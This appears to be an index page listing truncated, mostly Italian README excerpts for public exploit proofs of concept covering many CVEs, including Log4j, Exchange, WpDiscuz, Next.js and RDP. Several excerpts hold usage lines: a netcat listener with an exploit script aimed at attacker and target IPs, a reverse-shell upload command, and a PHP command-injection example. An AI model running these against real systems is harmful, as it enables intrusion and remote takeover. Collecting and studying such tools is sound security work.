Microsoft-Exchange-RCE

Microsoft-Exchange-RCE Microsoft Exchange CVE-2021-26855&CVE-2021-27065...

CVE-2023-6019

Ray OS Command Injection RCE Non autorizzato Uso: 1. nc -lvnp 4444 2. python3 cve-2023-6019.py -t 192.168.1.13 -p 80 -L 192.168.1.14 -P 80...

CVE-2026-20841

🛡️ CVE-2026-20841 - Strumento di Test di Sicurezza per Windows Notepad ⚠️ Cos'è CVE-2026-20841? CVE-2026-20841 è una debolezza di sicurezza nota nell'applicazione Windows Notepad. Riguarda la funzionalità markdown, che permette a Notepad di visualizzare testo formattato con link cliccabili. Questa...

CVE-2019-18426

Divulgazione delle vulnerabilità di WhatsApp - Open Redirect + CSP Bypass + XSS persistente + permessi di lettura FS + potenziale RCE CVE-2019-18426 Articolo tecnico Documenti originali di divulgazione delle vulnerabilità Video demo!...

Log4j-PoC

Proof of Concept für Log4j CVE-2021-44228 Haftungsausschluss Dieses Projekt dient nur zu Bildungszwecken. Einführung Dies ist ein Proof of Concept der Log4j-RCE, adaptiert von HyCraftHD. Hier sind einige Links für CVE-2021-44228: https://www.lunasec.io/docs/blog/log4j-zero-day...

CVE-2019-11447

CVE-2019-11447 - PoC Sfrutta CuteNews 2.1.2 tramite controlli deboli sul caricamento dei file utilizzati per caricare un'immagine avatar, portando a RCE. Installazione Clona il repository e installa i requisiti. pip install -r requirements.txt Utilizzo Per caricare un avatar è necessario un accou...

CVE-2020-14321

CVE-2020-14321 Le iscrizioni ai corsi hanno consentito l'escalation dei privilegi dal ruolo di docente al ruolo di manager fino alla RCE Forse qualcuno ha bisogno di uno script Python, quindi l'ho scritto per sfruttarla. Come usare questo PoC: How to use this PoC script Case 1. If you have vaid...

CVE-2024-48359

CVE-2024-48359 - Qualitor = v8.24 PoC di RCE non autenticato CVE-2024-48359 | Qualitor = v8.24 RCE Descrizione Qualitor è una piattaforma per la gestione dei processi aziendali, e questo sistema è presente in varie aziende in Brasile che possono essere identificate semplicemente utilizzando il...

Nextjs_Exploit_Tool

Next.js RSC RCE Exploit Tool CVE-2025-55182 Introduzione al progetto CVE-2025-55182 è una vulnerabilità ad alto rischio presente nella catena di elaborazione dei componenti server RSC di Next.js. Un attaccante, costruendo apposite richieste multipart/form-data e blocchi di risposta RSC falsificat...

CyberSecurity-Pentest-Lab

CyberSecurity Pentest Lab Note personali di laboratorio di penetration testing — write-up pratici di exploitation, post-exploitation e remediation su macchine intenzionalmente vulnerabili Metasploitable 2, DockerLabs, svolti in ambienti locali isolati come parte della formazione continua in...

n8n-exploit-CVE-2025-68613-n8n-God-Mode-Ultimate

n8n God Mode Ultimate - Scanner e Framework di Exploitation CVE-2025-68613 Strumento avanzato di scansione RCE ed exploitation per l'automazione dei flussi di lavoro n8n 🎯 Panoramica n8n God Mode Ultimate è un framework completo di test di sicurezza progettato per rilevare e validare la...

CVE-2025-52691-APT-PoC

CVE-2025-52691 PoC: SmarterMail Arbitrary File Upload RCE APT-Enhanced Questa è una proof-of-concept PoC potenziata per CVE-2025-52691 , una vulnerabilità critica nel software per server email SmarterTools SmarterMail che consente il caricamento arbitrario di file non autenticati, potenzialmente...

cve-2020-8165-demo

CVE-2020-8165 Demo Yet another demo of CVE-2020-8165, though in a more realistic implementation than most. Contesto CVE-2020-8165 Esiste una vulnerabilità di deserializzazione di dati non attendibili in rails 5.2.4.3, rails 6.0.3.1 che può consentire a un attaccante di fare unmarshal di oggetti...

CVE-2020-24186_reverse_shell_upload

Caricamento reverse shell per CVE-2020-24186 Exploit per WpDiscuz 7.0.4 basato sull'exploit scritto da h3v0x. Sfrutta la vulnerabilità e carica una reverse shell PHP. L'ispirazione è stata la Blogger CTF. exploit.py -u http://192.168.1.81/blog -p /wordpress/2021/06/blogpost -l '192.168.1.9' -s 90...

CVE-2021-44228

CVE-2021-44228 Riproduzione della vulnerabilità 1. Eseguire prima RmiServer per creare un servizio di registro RMI. 2. Eseguire Log4jTest; se si utilizza Windows, apparirà la calcolatrice...

RCE-CVE-2025-32710

RCE-CVE-2025-32710 La vulnerabilità dei Servizi Desktop remoto di Windows consente l'esecuzione di codice in remoto 💥 RDP Auto-Pwn RCE-CVE-2025-32710 Sfruttamento automatico per i servizi RDP vulnerabili BlueKeep e oltre 🔓 Crea un account admin • 🪟 Abilita RDP • 📶 Verifica automatica dell'accesso...

CVE-2022-45701

EN Questo progetto fornisce uno script Python per sfruttare una vulnerabilità di esecuzione remota del codice RCE CVE-2022-45701 in alcuni router Arris. La vulnerabilità consente agli utenti autenticati di eseguire comandi arbitrari sul dispositivo manipolando le impostazioni SNMP tramite...

cve-2024-4577

cve-2024-4577 POC Verifica la presenza di vulnerabilità python cve-2024-4577.py -u http://172.16.128.133 Dopo aver rilevato una vulnerabilità, puoi usare -c per eseguire un comando personalizzato python cve-2024-4577.py -u http://172.16.128.133 -c '?php system'whoami';'...

CVE-2025-59287-WSUS-2

CVE-2025-59287 ⚠ Questo strumento è creato esclusivamente per uso educativo. L'uso non autorizzato al di fuori di ambienti controllati è severamente vietato. CVE-2025-59287 è una vulnerabilità critica di esecuzione di codice remoto in Microsoft Windows Server Update Services WSUS. Deriva da una...

CVE-2019-2107

CVE-2019-2107 CVE-2019-2107 CVE-2019-2107 - sembra spaventoso. Ricordo ancora i bug di Stagefright e PNG.... Con CVE-2019-2107 il decoder/codec funziona sotto l'utente mediacodec e con un video opportunamente "creato" con tiles abilitati - pspps-i1tilesenabledflag si può potenzialmente fare RCE. ...